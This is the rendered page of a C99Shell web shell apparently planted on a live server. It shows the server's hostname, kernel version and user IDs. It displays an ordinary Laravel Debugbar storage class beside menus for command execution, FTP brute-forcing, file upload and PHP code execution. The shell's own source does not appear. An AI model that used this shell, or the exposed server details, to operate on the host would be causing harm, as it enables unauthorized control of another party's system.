!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/barryvdh/laravel-debugbar/src/Storage/   drwxr-xr-x
Free 28.81 GB of 117.98 GB (24.42%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     FilesystemStorage.php (3.9 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Barryvdh\Debugbar\Storage;

use 
DebugBar\Storage\StorageInterface;
use 
Illuminate\Filesystem\Filesystem;
use 
Symfony\Component\Finder\Finder;

/**
 * Stores collected data into files
 */
class FilesystemStorage implements StorageInterface
{
    protected 
$dirname;
    protected 
$files;
    protected 
$gc_lifetime 24;     // Hours to keep collected data;
    
protected $gc_probability 5;   // Probability of GC being run on a save request. (5/100)

    /**
     * @param \Illuminate\Filesystem\Filesystem $files The filesystem
     * @param string $dirname Directories where to store files
     */
    
public function __construct($files$dirname)
    {
        
$this->files $files;
        
$this->dirname rtrim($dirnameDIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
    }

    
/**
     * {@inheritDoc}
     */
    
public function save($id$data)
    {
        if (!
$this->files->isDirectory($this->dirname)) {
            if (
$this->files->makeDirectory($this->dirname0777true)) {
                
$this->files->put($this->dirname '.gitignore'"*\n!.gitignore\n");
            } else {
                throw new 
\Exception("Cannot create directory '$this->dirname'..");
            }
        }

        try {
            
$this->files->put($this->makeFilename($id), json_encode($data));
        } catch (
\Exception $e) {
            
//TODO; error handling
        
}

        
// Randomly check if we should collect old files
        
if (rand(1100) <= $this->gc_probability) {
            
$this->garbageCollect();
        }
    }

    
/**
     * Create the filename for the data, based on the id.
     *
     * @param $id
     * @return string
     */
    
public function makeFilename($id)
    {
        return 
$this->dirname basename($id) . ".json";
    }

    
/**
     * Delete files older than a certain age (gc_lifetime)
     */
    
protected function garbageCollect()
    {
        foreach (
            
Finder::create()->files()->name('*.json')->date('< ' $this->gc_lifetime ' hour ago')->in(
                
$this->dirname
            
) as $file
        
) {
            
$this->files->delete($file->getRealPath());
        }
    }

    
/**
     * {@inheritDoc}
     */
    
public function get($id)
    {
        return 
json_decode($this->files->get($this->makeFilename($id)), true);
    }

    
/**
     * {@inheritDoc}
     */
    
public function find(array $filters = [], $max 20$offset 0)
    {
        
// Sort by modified time, newest first
        
$sort = function (\SplFileInfo $a\SplFileInfo $b) {
            return 
strcmp($b->getMTime(), $a->getMTime());
        };

        
// Loop through .json files, filter the metadata and stop when max is found.
        
$i 0;
        
$results = [];
        foreach (
Finder::create()->files()->name('*.json')->in($this->dirname)->sort($sort) as $file) {
            if (
$i++ < $offset && empty($filters)) {
                
$results[] = null;
                continue;
            }
            
$data json_decode($file->getContents(), true);
            
$meta $data['__meta'];
            unset(
$data);
            if (
$this->filter($meta$filters)) {
                
$results[] = $meta;
            }
            if (
count($results) >= ($max $offset)) {
                break;
            }
        }
        return 
array_slice($results$offset$max);
    }

    
/**
     * Filter the metadata for matches.
     *
     * @param $meta
     * @param $filters
     * @return bool
     */
    
protected function filter($meta$filters)
    {
        foreach (
$filters as $key => $value) {
            if (!isset(
$meta[$key]) || fnmatch($value$meta[$key]) === false) {
                return 
false;
            }
        }
        return 
true;
    }

    
/**
     * {@inheritDoc}
     */
    
public function clear()
    {
        foreach (
Finder::create()->files()->name('*.json')->in($this->dirname) as $file) {
            
$this->files->delete($file->getRealPath());
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0054 ]--